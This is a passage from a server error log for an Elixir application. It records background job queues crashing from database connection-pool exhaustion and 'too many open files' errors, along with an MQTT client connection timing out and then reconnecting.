State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:20:00.241297Z], limit: 10, uuid: "8dfcad5e-3fed-4c82-a635-45e91d22075d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:20:00.241304Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248790>, refresh_timer: #Reference<0.2525715032.1121189889.116002>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:20.325000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:20.335000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:24:37.205000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) disconnected: ** (DBConnection.ConnectionError) timeout
[Sat Sep  5 23:27:20.342000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:20.255000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) non-existing domain - :nxdomain
[Sat Sep  5 23:24:37.617000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 631ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:20:04.244127Z], limit: 5, uuid: "cd95a796-9d56-48b6-a7e8-1bd6261a5db3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:20:04.244138Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248941>, refresh_timer: #Reference<0.2525715032.1099431938.16639>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:20.212000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 612ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:20:04.249697Z], limit: 3, uuid: "96dba287-4f93-4f33-82b7-fac05dbe7d31", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:20:04.249704Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248938>, refresh_timer: #Reference<0.2525715032.1077411843.248920>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:20.213000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 612ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:20:04.245300Z], limit: 20, uuid: "79624ad5-15a2-43b2-a23d-bce3b7f683b8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:20:04.245305Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248939>, refresh_timer: #Reference<0.2525715032.1068498948.5507>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:20.439000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.444000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.437000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1381ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:20:04.238819Z], limit: 5, uuid: "e9ac4c63-2988-43ee-b1ea-ad1bfc6278e6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:20:04.238832Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248940>, refresh_timer: #Reference<0.2525715032.1121189889.116071>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:20.466000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.489000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/tortoise/ebin/Elixir.Tortoise.Package.Connect.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.498000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Tortoise.Package.Connect.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.517000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Tortoise.Package.Connect.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.520000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.567000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=241.0ms queue=17.1ms idle=166468.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 23:27:20.531000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.555000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.557000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.569000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.594000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:22:28.252000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Tortoise.Registry, {Tortoise.Connection, "phoenix_client_node_devteam_shukriapos"}} terminating
** (stop) :ping_timeout
Last message: :ping
State: %Tortoise.Connection{client_id: "phoenix_client_node_devteam_shukriapos", connect: %{protocol: "MQTT", __struct__: Tortoise.Package.Connect, password: nil, client_id: "phoenix_client_node_devteam_shukriapos", protocol_version: 4, keep_alive: 60, clean_session: false, will: nil, user_name: nil, __META__: %Tortoise.Package.Meta{opcode: 1, flags: 0}}, server: %Tortoise.Transport{type: Tortoise.Transport.Tcp, host: ~c"demo.ctrmv.com", port: 1883, opts: [:binary, {:packet, :raw}, {:active, false}]}, status: :up, backoff: %Tortoise.Connection.Backoff{min_interval: 100, max_interval: 30000, value: nil}, subscriptions: %{__struct__: Tortoise.Package.Subscribe, identifier: nil, topics: [{"/ack/#", 1}, {"/ack/qr-device/+", 1}], __META__: %Tortoise.Package.Meta{opcode: 8, flags: 2}}, keep_alive: #Reference<0.2525715032.1121189889.116122>, opts: [client_id: "phoenix_client_node_devteam_shukriapos", handler: {DaProductApp.MQTT.Handler, [client_id: "phoenix_client_node_devteam_shukriapos"]}], handler: %Tortoise.Handler{module: DaProductApp.MQTT.Handler, state: %{client_id: "phoenix_client_node_devteam_shukriapos", online_devices: %{}}, initial_args: [client_id: "phoenix_client_node_devteam_shukriapos"]}}
[Sat Sep  5 23:27:20.606000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.615000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.623000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Tortoise.Package.Subscribe.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.631000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Tortoise.Package.Subscribe.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.632000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.742000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Tortoise.Registry, {Tortoise.Connection.Supervisor, "phoenix_client_node_devteam_shukriapos"}} terminating
** (stop) :ping_timeout
Last message: {:EXIT, #PID<0.698.0>, :ping_timeout}
State: {:state, {:via, Registry, {Tortoise.Registry, {Tortoise.Connection.Supervisor, "phoenix_client_node_devteam_shukriapos"}}}, :rest_for_one, {[Tortoise.Connection.Controller, Tortoise.Connection.Receiver, Tortoise.Connection.Inflight], %{Tortoise.Connection.Controller => {:child, #PID<0.81063.0>, Tortoise.Connection.Controller, {Tortoise.Connection.Controller, :start_link, [[client_id: "phoenix_client_node_devteam_shukriapos", handler: {DaProductApp.MQTT.Handler, [client_id: "phoenix_client_node_devteam_shukriapos"]}]]}, :permanent, false, 5000, :worker, [Tortoise.Connection.Controller]}, Tortoise.Connection.Inflight => {:child, #PID<0.1019.0>, Tortoise.Connection.Inflight, {Tortoise.Connection.Inflight, :start_link, [[client_id: "phoenix_client_node_devteam_shukriapos"]]}, :permanent, false, 5000, :worker, [Tortoise.Connection.Inflight]}, Tortoise.Connection.Receiver => {:child, #PID<0.1020.0>, Tortoise.Connection.Receiver, {Tortoise.Connection.Receiver, :start_link, [[client_id: "phoenix_client_node_devteam_shukriapos"]]}, :permanent, false, 500, :worker, [Tortoise.Connection.Receiver]}}}, :undefined, 3, 5, [-574987799], 0, :never, Tortoise.Connection.Supervisor, [client_id: "phoenix_client_node_devteam_shukriapos", handler: {DaProductApp.MQTT.Handler, [client_id: "phoenix_client_node_devteam_shukriapos"]}]}
[Sat Sep  5 23:27:20.638000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.642000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.659000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/tortoise/ebin/Elixir.Tortoise.Package.Subscribe.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.664000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Tortoise.Package.Subscribe.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.664000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Tortoise.Package.Subscribe.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.668000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.676000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sat Sep  5 23:27:20.676000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.692000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.720000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sat Sep  5 23:27:20.911000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Device phoenix_client_node_devteam_shukriapos connected
[Sat Sep  5 23:27:31.836000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:31.894000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:34.080000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:27:20.426666Z], limit: 5, uuid: "f047d60c-8cce-47df-be2d-5fcabd72292b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:20.426680Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, 